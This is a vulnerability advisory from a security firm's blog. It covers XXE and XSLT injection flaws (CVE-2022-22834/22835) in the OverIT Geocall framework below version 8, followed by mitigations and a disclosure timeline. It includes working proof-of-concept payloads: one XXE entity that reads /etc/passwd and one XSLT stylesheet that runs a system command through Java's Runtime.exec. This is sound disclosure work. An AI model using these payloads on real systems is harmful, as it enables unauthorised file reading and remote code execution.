← Back to Posts

17 Mar OverIT framework XSLT Injection and XXE – CVE-2022-22834 & CVE-2022-22835

By Ylabs

Reading Time: 3 minutes

During a penetration test activity, two vulnerabilities were discovered on a specific functionality called “Test Trasformazione xsl” whose purpose is to test the correct operation of the XSLT Java engine. This functionality is part of the set of tools available within the Geocall-Framework and it is not active by default.

Advisory - CVE-2022-22834

OverIT projects based on the same Geocall-Framework at level v. < 8, an authenticated user who has the “Test

OverIT projects based on the same Geocall-Framework at level v. < 8, an authenticated user who has the "Test Trasformazione xsl" functionality enabled can exploit an XSLT Injection vulnerability in order to achieve remote code execution (**RCE**). The vulnerability is triggered by sending a specific XSL tag inside the XML field.

Please note: OverIT confirmed that from version 8 or above both these problems were solved.

Technical Details

During a Penetration Testing activity carried out on a custom project developed on the vulnerable framework it was possible to access a **feature whose purpose is to operate on XML and XSLT inputs**.

XML (eXtensible Markup Language) is a markup language and a file format used for data management. Using **XSLT** (eXtensible Stylesheet Language Transformation) it is possible to perform operations on an XML document transforming it into another format, such as HTML, plain text, etc. if the **data** submitted by the user **isn't correctly validated** it's possible to get some **unexpected behaviour**, in a similar way to what happens with Cross-Site Scripting (XSS) vulnerabilities.

The first identified vulnerability is an **XML external entity (XXE) injection**, it allows the authenticated user to **retrieve the content of the target file system** within the context of the portal service user.

In the following snippet there is a PoC for this vulnerability:

```
1. <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
2. <data>&example;</data>
```

And as you can see from the image below, by exploiting this vulnerability it was possible to **further enumerate the target**.

The second identified vulnerability is more severe as it allows **Remote Code Execution (RCE)**. It's an **Extensible Stylesheet Language Transformations (XSLT) injection**.

Specifically, exploiting the second field available in the webpage, you can use Java code to **execute commands on the target**.

The following payload was used to verify and confirm the above-mentioned vulnerability:

```
1.  <?xml version="1.0" encoding="ISO-8859-1" ?>
2.  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transfo
    xmlns:fo="http://www.w3.org/1999/XSL/Format">
3.      <xsl:template match="CClienti">
4.          <CClienti label="{{0}} Trasformato">
5.  <xsl:variable name="abcd" select="Runtime:exec(Runtime:getRuntime(),'ifconfig')"
    xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/>
6.  <xsl:variable name="efgh" select="jv:getInputStream($abcd)"
    xmlns:jv="http://xml.apache.org/xalan/java"/>
7.  <xsl:variable name="ijkl" select="isr:new($efgh)"
```

```
12.         </xsl:template>
13.
14.
15.         <xsl:template match="@*|node()">
16.             <xsl:copy>
17.                 <xsl:apply-templates select="@*|node()"/>
18.             </xsl:copy>
19.         </xsl:template>
20.
21.     </xsl:stylesheet>
```

And in fact, as you can see in the image below, **the command has been correctly executed** on the target.

In order to exploit these vulnerabilities, **you must have access to the application** with an administrative account for which the “Test Trasformazione xsl” feature has been enabled.

Root cause analysis

Recommendations

If your application make use of XML and XSLT you can reduce the risk of exposure by following few simple guidelines:

- Disable dangerous or not usefult functionality (eg: Runtine:exec)
- If possible, avoid user-provided input XML and XSLT documents
- Do not blindly trust user-input without properly sanitize it

Resolutions from OverIT

Upgrading the OverIT Framework to a level 8 or above can solve the vulnerability completely.

OverIT explains that, apart from the “Test Trasformazione xsl” functionality, the application never blindly trust XML and XSLT documents, so the removal of that page from the specific project implementation solves completely the vulnerability.

Disclosure Timeline

- 20/12/2021 – Initial contact with OverIT
- 07/01/2022 – OverIT confirmed the problems were solved since Geocall version 8
- 08/01/2022 – MITRE assigned CVE-2022-22834 and CVE-2022-22835
- 17/03/2022 – Full Disclosure

Resources & References

- geocall.support@overit.it
- CVE-2022-22834
- CVE-2022-22835

Author

Share this post

Author

Ylabs

← Back to Posts

RELATED **POSTS**

25 Nov

Phobia

Ransomware Details Phobos ransomware, first discovered in December 2018, is another notorious cyber...

read more ›

13 Oct

Analysis of the Russian-Speaking Threat Actor NoName 057(16)

. ...

read more ›

15 Sep

Plung n Panda – APT Group

“Plug N Panda” group (the name that has been chosen by Yarix...

read more ›

Search...

- Fuzzing (4)
- Malware Analysis (1)
- Reverse Engineering (6)
- Tools (1)
- Web (2)

LATEST POSTS

Analysis of a Command Injection in VBScript
14/07/2022

OverIT framework XSLT Injection and XXE – CVE-2022-22834 & CVE-2022-22835
17/03/2022

YARIX S.R.L.

P.IVA 03614930265

Address: Vicolo Boccacavalla, 12 – 31044 Montebelluna (TV)

Phone: 0423 614249

Email: info@yarix.com

FOLLOW US